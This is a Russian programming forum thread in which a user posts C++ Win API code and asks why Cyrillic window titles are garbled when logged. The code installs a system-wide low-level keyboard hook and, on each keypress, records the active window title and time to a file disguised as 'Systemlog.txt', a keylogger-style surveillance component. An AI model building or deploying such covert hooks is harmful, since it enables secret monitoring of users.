Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 03.10.2021, 14:08   #1
StillPhelix
Пользователь
 
Регистрация: 18.05.2014
Сообщений: 35
По умолчанию Считывание заголовка окна

Доброго времени суток!
Это фрагмент кода одной большой программы. Этот фрагмент считывает заголовок окна и записывает в файл. Проблема заключается в том, что при записи в файл добавляются лишние пробелы после латинских букв а кирилицу выводит не понятными символами. Программа написана в Visual studio 2019.
Код:
#include <Windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <WinBase.h>>
#include <string>
#include <tchar.h>
#include <time.h>


const TCHAR szSystemLog[] = L"C://ProgramData//Systemlog.txt";
HANDLE hFile;
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT hkb;




int writeToFile(UINT keystroke)
{
	DWORD dwWrited = 0;
	DWORD dwBytesRead = 0;

	DWORD dwPos;
	LPCVOID lpvKey;

	static wchar_t lastwindow[256] = L"";

	if ((keystroke == 1) || (keystroke == 2))
	{
		return 0; // ignore mouse clicks
	}

	HWND foreground = GetForegroundWindow();
	DWORD threadID;
	HKL layout = NULL;
	int cTxtLen;//довжина тексту
	char s[25];

	hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	}
	if (hFile != INVALID_HANDLE_VALUE)
	{
		if (foreground)
		{
			// get keyboard layout of the thread
			threadID = GetWindowThreadProcessId(foreground, NULL);
			layout = GetKeyboardLayout(threadID);
		}

		if (foreground)
		{
			cTxtLen = GetWindowTextLength(foreground);//довжина тексту
			//char* window_title = new char[cTxtLen];//MultiByteToWideChar
			LPTSTR window_title;
			window_title = (TCHAR*)malloc(cTxtLen * sizeof(TCHAR));
			GetWindowTextW(foreground, (LPWSTR)window_title, cTxtLen);
			if (_tccmp(window_title, lastwindow) != 0)
			{
				_tccpy(lastwindow, window_title);

				// get time
				time_t t = time(NULL);
				struct tm tm;
				localtime_s(&tm, &t);
				strftime(s, sizeof(s), "%c", &tm);

				dwPos = SetFilePointer(hFile, 0, NULL, FILE_END);
				LockFile(hFile, dwPos, 0, dwBytesRead, 0);
				WriteFile(hFile, TEXT("\x0D\x0A[Window: "), lstrlenW(TEXT("\x0D\x0A[Window: ")) * sizeof(wchar_t), &dwWrited, NULL);
				WriteFile(hFile, window_title, cTxtLen * sizeof(wchar_t), &dwWrited, NULL);
				WriteFile(hFile, TEXT("- at "), lstrlenW(TEXT("- at ")) * sizeof(wchar_t), &dwWrited, NULL);
				WriteFile(hFile, s, sizeof(s), &dwWrited, NULL);
				WriteFile(hFile, TEXT("] "), lstrlenW(TEXT("] ")) * sizeof(wchar_t), &dwWrited, NULL);
				UnlockFile(hFile, dwPos, 0, dwBytesRead, 0);
			}
			//delete[] window_title;
			free(window_title);

		}
	}
	return 0;
}

LRESULT _stdcall HookCallBack(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode ==HC_ACTION)
	{
		if (wParam == WM_KEYDOWN)
		{
			
			kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
			writeToFile(kbdStruct.vkCode);
		}
	}

	return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
	if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallBack, 0, 0)))
	{
		LPCTSTR a = L"error";
		LPCTSTR b = L"error";
		MessageBox(0, a, b, MB_ICONERROR);
	}
}

void relaseHook()
{
	UnhookWindowsHookEx(_hook);
}


int main()
{
	SetHook();
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
	}
}
StillPhelix вне форума Ответить с цитированием
Старый 03.10.2021, 20:59   #2
waleri
Старожил
 
Регистрация: 13.07.2012
Сообщений: 6,493
По умолчанию

После создания файла запишите в него два байта:
WriteFile(hFile, "\xFE\xFF", 2, &size, NULL);
waleri вне форума Ответить с цитированием
Старый 03.10.2021, 21:23   #3
StillPhelix
Пользователь
 
Регистрация: 18.05.2014
Сообщений: 35
По умолчанию

Не помогло.
StillPhelix вне форума Ответить с цитированием
Старый 04.10.2021, 18:45   #4
StillPhelix
Пользователь
 
Регистрация: 18.05.2014
Сообщений: 35
По умолчанию

Проблема решена. Подробности по ссылке:
https://www.cyberforum.ru/win-api/th...046-page2.html
StillPhelix вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Изменение заголовка дочернего окна Luda24 Visual C++ 0 04.05.2018 16:01
Смена заголовка окна C++ 2Lui Общие вопросы C/C++ 7 16.03.2017 19:21
Изменение заголовка окна в Delphi T(h)rasher Помощь студентам 7 05.10.2011 06:58
Замена заголовка чужого окна dacorp Общие вопросы Delphi 3 13.06.2010 00:05
Область заголовка окна HunterMan Win Api 3 14.04.2008 15:37